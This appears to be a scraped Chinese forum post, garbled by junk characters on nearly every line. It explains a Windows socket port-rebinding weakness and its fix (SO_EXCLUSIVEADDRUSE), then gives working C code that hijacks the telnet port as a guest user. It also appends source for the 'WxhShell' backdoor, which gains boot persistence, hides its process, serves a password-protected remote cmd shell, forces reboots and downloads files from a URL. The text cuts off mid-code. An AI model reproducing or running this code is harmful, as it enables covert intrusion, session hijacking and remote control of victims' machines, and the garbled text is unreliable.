在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
j82x$I* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
MX7Y1 q:cCk#ra saddr.sin_family = AF_INET;
-JfqY?Ue_2 `c)[aP{vN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{[pzqzL6 J7pF*2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]xxE_B7 FJD;LpW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'ws@I?!r H#H[8# 这意味着什么?意味着可以进行如下的攻击:
O$ARk+ JA09 o( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:JXGgl<y @rP#ktz] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f
= 'AI hG2WxYk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|mQC-=6t;Y 5fq4[a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(M#m BS P"{yV?CNg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=d BK,/ RF }R~m9] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<:>[24LJ{ "_0sW3rG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
NT=)</v )8E[xBaO #include
eGW
h]% #include
3Yf~5csY #include
OUhlQq\ #include
tISb' ^T DWORD WINAPI ClientThread(LPVOID lpParam);
e}NB ,o int main()
5SEGV|% {
LEg ?/!LIT WORD wVersionRequested;
OIs!,G| DWORD ret;
{)I&&fSz WSADATA wsaData;
eIj2(q9 BOOL val;
GdM|?u&s" SOCKADDR_IN saddr;
Mtaky=l8~I SOCKADDR_IN scaddr;
,&iEn}xG7i int err;
/b]+RXvxj SOCKET s;
#y8Esik SOCKET sc;
}XD=N#p@z int caddsize;
0.wNa~_G| HANDLE mt;
:z`L) DWORD tid;
W0S\g# wVersionRequested = MAKEWORD( 2, 2 );
bg2r err = WSAStartup( wVersionRequested, &wsaData );
m 0]1(\% if ( err != 0 ) {
Am<){&XT
] printf("error!WSAStartup failed!\n");
qzWnl[3 return -1;
+^q-v- }
'soll[J saddr.sin_family = AF_INET;
Jq:Wt+a S;SI#Vg@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
a+B3`6 2;7n0LOs} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=)f.Yf|A* saddr.sin_port = htons(23);
l'1_Fb if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
swg*fhJFB {
G[+{[W printf("error!socket failed!\n");
WeIi{<u8R return -1;
n){u!z)Al }
GG(}#Z5h val = TRUE;
/tJ%gF //SO_REUSEADDR选项就是可以实现端口重绑定的
m0*_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3
jghV?I{T {
<Q8d{--o printf("error!setsockopt failed!\n");
uyoV) return -1;
&r!jjT }
]V,#>' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ft$
'UJ%j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
m[%P3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
q4niA WS+uK b^< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
M
y!;N1 {
~PX#' Jr ret=GetLastError();
K7ZRj\(CJv printf("error!bind failed!\n");
(r-PkfXvIf return -1;
;m"R.Q9* }
hdpA& OteR listen(s,2);
\/!jGy* while(1)
_o-01gu. {
bLC+73BjC caddsize = sizeof(scaddr);
X
CHN'l' //接受连接请求
t?FPmbjv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^x_+& if(sc!=INVALID_SOCKET)
RWZjD#5%Z {
)gG_K$08? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W"g@*B'| if(mt==NULL)
'kekJ.wJ; {
8Ib5 printf("Thread Creat Failed!\n");
~V/?/J$ break;
: n\D }
#VuiY }
m, SWG[~ CloseHandle(mt);
,ysn7Y{Y }
oYX#VX closesocket(s);
7Pr5`#x# WSACleanup();
:+ AqY(Gz return 0;
T*#< p; }
QKhvP> DWORD WINAPI ClientThread(LPVOID lpParam)
tj: >o#D {
960rbxKy3 SOCKET ss = (SOCKET)lpParam;
fn.}LeeS> SOCKET sc;
t7/a5x unsigned char buf[4096];
~t^'4"K* SOCKADDR_IN saddr;
cKt8e^P long num;
4K! @9+Mz DWORD val;
5xc-MkIRL DWORD ret;
`IK3e9QpcA //如果是隐藏端口应用的话,可以在此处加一些判断
eSSv8[u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0*:4@go0}i saddr.sin_family = AF_INET;
b$}@0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6S?*z
`v saddr.sin_port = htons(23);
FD^s5>"Y+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mg
*kB:p {
%M-B"#OB7 printf("error!socket failed!\n");
ys9MV%* return -1;
SA.,Q~_T7 }
/pz(s+4= val = 100;
yV5AVMo if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
L)_L#]Yy {
BoXGoFn ret = GetLastError();
Jek)`D return -1;
@W!cC#u }
Ok_)C+o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#zKF/H|_R {
-;U3$[T,J7 ret = GetLastError();
yQ+C}8r5 return -1;
lR3JyYY{X }
U=ie|
3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
v,mn=Q&9 {
/ Hexv#3 printf("error!socket connect failed!\n");
u )KtvC! closesocket(sc);
|79n
1;+\? closesocket(ss);
lISu[{b? return -1;
3EX41)u }
\"mLLnK?
while(1)
|I=\+P}s {
)-d&XN7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!e:HE/&>i //如果是嗅探内容的话,可以再此处进行内容分析和记录
ZTP&*+d //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
A[X~:p.^G num = recv(ss,buf,4096,0);
44_CT?t< if(num>0)
.p(~/MnO send(sc,buf,num,0);
=j !Ruy1 else if(num==0)
.{LJ break;
LxxFosi8 num = recv(sc,buf,4096,0);
#zc{N"! if(num>0)
j?P8&Fm< send(ss,buf,num,0);
D[R<H(( else if(num==0)
JheF}/Bx break;
"K-2y^Dl }
V7i1BR8G closesocket(ss);
|.[4$C closesocket(sc);
#[ hJm'G return 0 ;
a
|+q:g0M }
kDr0D$iE b7? 2Pu "6fTZ< ==========================================================
`)s>},8W! 7=x]p 下边附上一个代码,,WXhSHELL
}mSfg 3QzHQU ==========================================================
=o+))R4 ~85Pgb< #include "stdafx.h"
Yet!qmZ \!,@p e_ #include <stdio.h>
5\$8"/H #include <string.h>
N5:muh
\
#include <windows.h>
B0}f,J\ #include <winsock2.h>
mH*6Q> #include <winsvc.h>
t&=]>blIs #include <urlmon.h>
D$
+"n Xm}~u?$3 #pragma comment (lib, "Ws2_32.lib")
CJu3h&Rp #pragma comment (lib, "urlmon.lib")
f,}]h~w\ wH Q$F(by #define MAX_USER 100 // 最大客户端连接数
e(m#elX #define BUF_SOCK 200 // sock buffer
= A;B-_c #define KEY_BUFF 255 // 输入 buffer
ghd*EXrF
H 1f^4J~{ #define REBOOT 0 // 重启
C) "|sG #define SHUTDOWN 1 // 关机
*R^u lp[W h_Cac@F0 #define DEF_PORT 5000 // 监听端口
-(fvb '@<aS?@!t #define REG_LEN 16 // 注册表键长度
pu +"bq #define SVC_LEN 80 // NT服务名长度
aPMqJ#fIr aD:vNX // 从dll定义API
KW.QVBuVO# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(C
EXPf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4_w+NI,; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&18CCp\3)c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
__,1;= 1k}U+ // wxhshell配置信息
+B#3! struct WSCFG {
@fWmz,Ngl int ws_port; // 监听端口
UR&Uwa&. char ws_passstr[REG_LEN]; // 口令
c~+;P(> int ws_autoins; // 安装标记, 1=yes 0=no
U,4:yc,)s char ws_regname[REG_LEN]; // 注册表键名
a}+7MEUmZ/ char ws_svcname[REG_LEN]; // 服务名
=@d IM char ws_svcdisp[SVC_LEN]; // 服务显示名
3+2&@:$t char ws_svcdesc[SVC_LEN]; // 服务描述信息
n)7olP0p char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1&@s2ee4
int ws_downexe; // 下载执行标记, 1=yes 0=no
6KD char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
jWd 7 >1R? char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L27i_4E, "38ya2* };
.V?i 3 m1k+u)7kD // default Wxhshell configuration
FV&& struct WSCFG wscfg={DEF_PORT,
.Qp 5wCkM "xuhuanlingzhe",
%:eepG| 1,
|*im$[g=- "Wxhshell",
e'c~;Z\A "Wxhshell",
FN&.PdRT "WxhShell Service",
Q4_+3-g<7L "Wrsky Windows CmdShell Service",
pA*cF!tq7 "Please Input Your Password: ",
12Hy.l 1,
~ YKBxt "
http://www.wrsky.com/wxhshell.exe",
>~5>)yN_a1 "Wxhshell.exe"
pOn>m1| };
.1.Bf26}d 8S>T1st // 消息定义模块
|"Js iT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+ (cTzY char *msg_ws_prompt="\n\r? for help\n\r#>";
3JiDi
X"| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
c D+IMlT char *msg_ws_ext="\n\rExit.";
Mlp[xk| char *msg_ws_end="\n\rQuit.";
' [fo char *msg_ws_boot="\n\rReboot...";
J@y1L]: char *msg_ws_poff="\n\rShutdown...";
T6|zT}cb char *msg_ws_down="\n\rSave to ";
O7shY4 Sr {@u;F2? char *msg_ws_err="\n\rErr!";
_-*Lj;^V char *msg_ws_ok="\n\rOK!";
V=}b>Jo2j 9tVA.:FOZ char ExeFile[MAX_PATH];
`":ch9rK int nUser = 0;
JU7EC~7|2c HANDLE handles[MAX_USER];
/!kKL$j int OsIsNt;
g(\FG Nt^R~#8hF> SERVICE_STATUS serviceStatus;
mJu;B3@
SERVICE_STATUS_HANDLE hServiceStatusHandle;
P+sxlf:0 GQTMQXn( // 函数声明
b:Lp`8Du int Install(void);
zA&lJD$0 int Uninstall(void);
H[guJ)4#@ int DownloadFile(char *sURL, SOCKET wsh);
i6zfr|`@ int Boot(int flag);
Zi=Nr3b void HideProc(void);
?L$
Dk5-W int GetOsVer(void);
<a |$Bl int Wxhshell(SOCKET wsl);
Ctxs]S tU% void TalkWithClient(void *cs);
)DsC:cP int CmdShell(SOCKET sock);
kmM1)- v int StartFromService(void);
]k%Yz@*S int StartWxhshell(LPSTR lpCmdLine);
wj/\!V! (z0S5#g
,x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=uZ[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
nJ#uz:(w, ~jb6 // 数据结构和表定义
s% "MaDz SERVICE_TABLE_ENTRY DispatchTable[] =
/a%5!)NE% {
K+D`U6& {wscfg.ws_svcname, NTServiceMain},
#N%xr'H {NULL, NULL}
UfEF>@0 };
5tg 1O1/P,u+ // 自我安装
4!<8Dd int Install(void)
"z\T$/ {
}+0{opY4R char svExeFile[MAX_PATH];
BF2,E<^A HKEY key;
Dx =ms^oN5 strcpy(svExeFile,ExeFile);
/i$
mIj` ^zHBDRsb2F // 如果是win9x系统,修改注册表设为自启动
15_OtK if(!OsIsNt) {
BhkJ>4# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
TdI5{?sW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mxhO:.l RegCloseKey(key);
#CoJ S[t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%^m6Q! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>[=q9k RegCloseKey(key);
NIeT.! return 0;
5 fjeBfy }
ja}_u}: }
w{Wz^=';
}
zCT Wi else {
imAsE;: Z VuHO7' // 如果是NT以上系统,安装为系统服务
[K;J#0V+&L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<Brq7:n| if (schSCManager!=0)
7=t4;8|j; {
aEVBU SC_HANDLE schService = CreateService
|jV> (
M"2Tuwz schSCManager,
~k?7XF I wscfg.ws_svcname,
n'{cU( wscfg.ws_svcdisp,
5bX
SN$7| SERVICE_ALL_ACCESS,
(Bd8@}\u_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
NH$a :> SERVICE_AUTO_START,
SsfnBCVR SERVICE_ERROR_NORMAL,
9D:p~_"g svExeFile,
}<o.VY&;. NULL,
[k.|iCD NULL,
S,Boutd NULL,
Y"~I(,nx! NULL,
tT87TmNsA NULL
quHq?oXV, );
EAU6z(X$ if (schService!=0)
.v%H%z~Rl# {
sPn[FuT>+s CloseServiceHandle(schService);
Cfu]umZLn CloseServiceHandle(schSCManager);
"qUUH4mR` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
y^tuybpZY< strcat(svExeFile,wscfg.ws_svcname);
Qx|m{1~- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<Yu}7klJE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
twU^ewO& RegCloseKey(key);
-`gqA%#+ return 0;
WY#A9i5Ge }
-l<b|`s=w. }
\];0S4SBy CloseServiceHandle(schSCManager);
qz"di~ 7 }
bsy\L|wd }
IlJ6&9 TaeN?jc5 return 1;
5*u0VabC< }
XRCiv PXG)?`^NX // 自我卸载
L5!aLv# int Uninstall(void)
Y&KI/]ly,L {
ya3A^&: HKEY key;
6= s!~ B)g7MG if(!OsIsNt) {
;<d("Yz:@Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ra=U, RegDeleteValue(key,wscfg.ws_regname);
J3gJSRT@P RegCloseKey(key);
=#dW^?p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p'fq&a+ RegDeleteValue(key,wscfg.ws_regname);
__M(dN(^ RegCloseKey(key);
V
@8+ return 0;
Gs;wx_k^ }
i1$ $86 }
b?eIFI&w^l }
FIhq>L.q4 else {
=B@+[b0Z P_6oMR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
42E]&=Cet if (schSCManager!=0)
lJ;7sgQ# {
ste0:.*qb SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Jt5\ if (schService!=0)
@dei}!e {
^N#B(F if(DeleteService(schService)!=0) {
\=PnC}7I CloseServiceHandle(schService);
Ws ya:9| CloseServiceHandle(schSCManager);
{Qbg'|HO=l return 0;
<5(P4cm9 }
_0dm?= CloseServiceHandle(schService);
_|reo6 }
VWf&F`^B( CloseServiceHandle(schSCManager);
W5 ^eCYHoi }
r:0F("},
}
z5`AJrj% b>SG5EqU@ return 1;
TtTp,If }
=REMSej &{E1w<uv // 从指定url下载文件
y "6;O 0 int DownloadFile(char *sURL, SOCKET wsh)
Z6C!-a {
DCr&%)Ll HRESULT hr;
jez=q char seps[]= "/";
mh&wvT<:{ char *token;
6BK-(>c(6 char *file;
8AL`<8$ char myURL[MAX_PATH];
/vC|_G|{ char myFILE[MAX_PATH];
=y+gS%o$ sI\v}$(~ strcpy(myURL,sURL);
OZ>w.$ue token=strtok(myURL,seps);
_wMx KM while(token!=NULL)
}2c)UQD8 {
&zkuL file=token;
*UBukn token=strtok(NULL,seps);
RlW0U-%u }
CqK&J
/8 ou8V7 GetCurrentDirectory(MAX_PATH,myFILE);
*-Y`7=^$ strcat(myFILE, "\\");
%S*<2F9
strcat(myFILE, file);
#o`y<1rN send(wsh,myFILE,strlen(myFILE),0);
ybk~ m send(wsh,"...",3,0);
t<=Ru*p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
zv[$N, if(hr==S_OK)
y2Eq-Ie return 0;
96G8B62 else
n}0n!Pr^ return 1;
VPOzt7: h[eC i }
C7PVJnY0 0xE37Ld, // 系统电源模块
2IMU & int Boot(int flag)
3XykIj1 {
h&5bMW HANDLE hToken;
Hwb+@'o TOKEN_PRIVILEGES tkp;
1M@OBfB8 VZveNz@]r if(OsIsNt) {
zD}@QoB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
G-7!|& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8w4-Ud*$i tkp.PrivilegeCount = 1;
T0HNld tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@nWhUH% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/Z3 Mlm{ if(flag==REBOOT) {
/%&Kbd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
HKB?G~ return 0;
q|7i6jq\*R }
P"-*'q,9 else {
~l {*XM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
AS1#_fC return 0;
<'T:9 }
D;?cf+6$ }
0FN;^hP5| else {
tL#~U2K if(flag==REBOOT) {
_\"2Mdk`] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_PPZ!r( return 0;
da[=d*I. }
qStZW^lFeY else {
:zA/~/Wo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
F#b^l} return 0;
$G\WW@*GE }
g2RrBK, }
z6'Cz}%EP' 3#\++h]QZ return 1;
IvZ,|R? }
7{z\^R^O @n|Mr/PAj // win9x进程隐藏模块
*r)/Vx`S void HideProc(void)
d9=i{i3 {
r~[Bzw"c nu(;yIRP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7!qO*r if ( hKernel != NULL )
xdLMy#U2 {
P^3`znq{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~`Y!_ '(x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
eW<|I FreeLibrary(hKernel);
SAVA6
64 }
k3PFCl~e +x!Hc return;
%[cZ,F= }
kJ'rtz4QO :QoW*Gs1 // 获取操作系统版本
AT6o~u!WU int GetOsVer(void)
\k4em{K {
.#q]{j@Ot OSVERSIONINFO winfo;
~:JoKm`vU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!eu\ShI GetVersionEx(&winfo);
!{1;wC(b if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
olv0w;s return 1;
@k-C>h()C else
s'4O]k` return 0;
Vi m:: }
Rs@>LA WEaG/)y // 客户端句柄模块
1fH2obI~X int Wxhshell(SOCKET wsl)
8@ZZ[9kt {
T)Y{>wT SOCKET wsh;
oNEjlV* struct sockaddr_in client;
<da-iY\5 DWORD myID;
|LLDaA-=0 7!;H$mxP while(nUser<MAX_USER)
@fQvAok {
5r1u_8)' int nSize=sizeof(client);
Q]{ `m wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i7XM7+} if(wsh==INVALID_SOCKET) return 1;
7gc?7TM 41v#|%\w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Nov)'2g7G if(handles[nUser]==0)
^qY?x7mx1 closesocket(wsh);
f6,?Yex8B else
J))U YJO nUser++;
vbh 5 }
^'ws/( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h-<Qj,L{W "h5.^5E6 return 0;
/jl/SV+ }
MBqw{cy Xaw ~Hh) // 关闭 socket
GU|(m~,` void CloseIt(SOCKET wsh)
%a:>3!
+ {
i+Lqj closesocket(wsh);
$KVCEe!X nUser--;
`%/w0,0 ExitThread(0);
G,}"}v: }
Y 8n*o3jM 9i46u20 // 客户端请求句柄
Z8ds`KZM void TalkWithClient(void *cs)
x~JOg57up {
~f:"Q(f+ +>ld SOCKET wsh=(SOCKET)cs;
{%oxzdPc char pwd[SVC_LEN];
DJZ$M char cmd[KEY_BUFF];
sOO_J!bblP char chr[1];
Aw]kQ\P& int i,j;
ES\=MO5a7 S}P rgw/ while (nUser < MAX_USER) {
mb>8=hMg f+lPQIB if(wscfg.ws_passstr) {
)A$xt)}P!{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\ZtKaEXnx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
af'gk&% //ZeroMemory(pwd,KEY_BUFF);
w|1O-k` i=0;
F!<!)_8Q while(i<SVC_LEN) {
*zwo="WA\t 7Bym? // 设置超时
KPAvN M fd_set FdRead;
<Gna}ALkg struct timeval TimeOut;
f~R+Q/Gtz` FD_ZERO(&FdRead);
C~IE_E&Q` FD_SET(wsh,&FdRead);
8},: TimeOut.tv_sec=8;
q?qH7={,eu TimeOut.tv_usec=0;
"r~/E|Da< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
CiV^bYi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
?vfZ>7Q dJe
3DW : if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
SZUo RWx pwd
=chr[0]; )b1X6w[
if(chr[0]==0xd || chr[0]==0xa) { DKF`
xuJP
pwd=0; *L~?.9R
break; "d`u#YmR
} &xpvHKJl
i++; lPD&Doa
} y'!"GrbZ
uvAJJIae'
// 如果是非法用户,关闭 socket DkSs^ym
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uu.}<VM.1
} Iw^Q>MrT
4Y{;%;-i
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l.P;85/+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tXuf !
yp[,WZt
while(1) { +`iJ+
kE :{#>[Uz
ZeroMemory(cmd,KEY_BUFF); ia (&$a8X
cwOa"]t}
// 自动支持客户端 telnet标准 \8g=
Ix
j=0; Z6-ZAS(>m
while(j<KEY_BUFF) { ==BOW\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w:/3%-
cmd[j]=chr[0]; tyWDa$u,u
if(chr[0]==0xa || chr[0]==0xd) { %@:6&
cmd[j]=0; rP}[>
break; 1:r#m- \
} 2liJ^ `
j++; [k0/ZfFwV
} ?bpVdm!
zkiwFEHA=
// 下载文件 7<Qmpcp =
if(strstr(cmd,"http://")) { fZ&' _
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ExMd$`gW
if(DownloadFile(cmd,wsh)) B*Ey&DAV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 r&JsCc
else ~ivOSr7s}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gX7R-&[UD
} )Ay 90Wt
else { .lq83;
k
[9B1 %W
switch(cmd[0]) { 0OQ*V~>f
2% /Kf}+
// 帮助 6`vW4]zu
case '?': { m;A[2 6X
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L^zh|MEyzk
break; B=$O4nW_b
} ?20R\
]U
// 安装 $7ix(WL<%
case 'i': { lD, ~%
if(Install()) 1/~=61msc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L`e19I$
else :5.F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V#5$J Xp
break; ky-nP8L}
} 9e c},~(
// 卸载 =R~zD4{"
case 'r': { 1D38T
if(Uninstall()) Dx`-h#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0AdxV?6z
else Fi;H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^8A[
^cgq
break; 'n
^,lXWB
} h5pfmN\-5
// 显示 wxhshell 所在路径 3Pllxq<n
case 'p': { 3!osQ1
char svExeFile[MAX_PATH]; "DA%vdu
strcpy(svExeFile,"\n\r"); +iFt)
strcat(svExeFile,ExeFile); 01n132k
send(wsh,svExeFile,strlen(svExeFile),0); y4LUC;[n
break; ggiy{CdR
} oP9 y@U
// 重启 tXH;4K@
case 'b': { lixM0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cJv/)hRaz
if(Boot(REBOOT)) {=?(v`88
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *coUHbP9>
else { $B_%MfI
closesocket(wsh); gua7<z6=eh
ExitThread(0); (ie%zrhS
} \/?J)k3H.
break; biU_ImJ>0
} |Tc4a4 jS
// 关机 g2m*Q%
case 'd': { 0 p?AL=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \wk;Bo
if(Boot(SHUTDOWN)) =JgR c7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R ZQH#+*t}
else { 80_w_i +
closesocket(wsh); *4Ldh}S!
ExitThread(0); } `r.fD
} U1X"UN)
break; Btm_S\1
} k&%i+5X
// 获取shell c9fz x
case 's': { K%+4M#jj5
CmdShell(wsh); {_\cd.AuT
closesocket(wsh); ruvfp_:
ExitThread(0); R-9o3TPa
break; 0VSIyG_Z
} "n`z`{<n
// 退出 }O>1tauI
case 'x': { `G/g/>y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [M,4qe8,}
CloseIt(wsh); `D
|/g;
break; u*;H$&
} Wm`*IBWA
// 离开 p\&/m
case 'q': { !?0C(VL(:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;'8Wl
closesocket(wsh); N+B!AK0.
WSACleanup(); GRbbU#/=G
exit(1); qar{*>LCG
break; c8"Qmy
} GT6i9*tb#
} fc8ODk*;E
} k|?[EWIi^
3&7? eO7*
// 提示信息 VGD~) z57
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *oz#YGNm
} 7=^}{
} k[ z yR
o]Ne|PEpO
return; Y;_F ,4H
} P.@dB.Ny
7Tdx*1 U
// shell模块句柄 9!Q ZuZY
int CmdShell(SOCKET sock) (k #xF"yI
{ #f24a?n|
STARTUPINFO si; ~Jr'4%
ZeroMemory(&si,sizeof(si)); X"+p=PGZK
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K+!e1
'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {qi#
PROCESS_INFORMATION ProcessInfo; _7Y-gy#\a
char cmdline[]="cmd"; =3QhGFd
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (b//YyqN
return 0; >pLJ ,Z
} Ovk=s,a)K
.,xyE--;d
// 自身启动模式 x0JW
int StartFromService(void) xm1di@
{ pXO09L/nv
typedef struct \DS*G7.A+&
{ g:)iEw>a
DWORD ExitStatus; LX7P?j
DWORD PebBaseAddress; 4~h0/H"
DWORD AffinityMask; (9I(e^@]
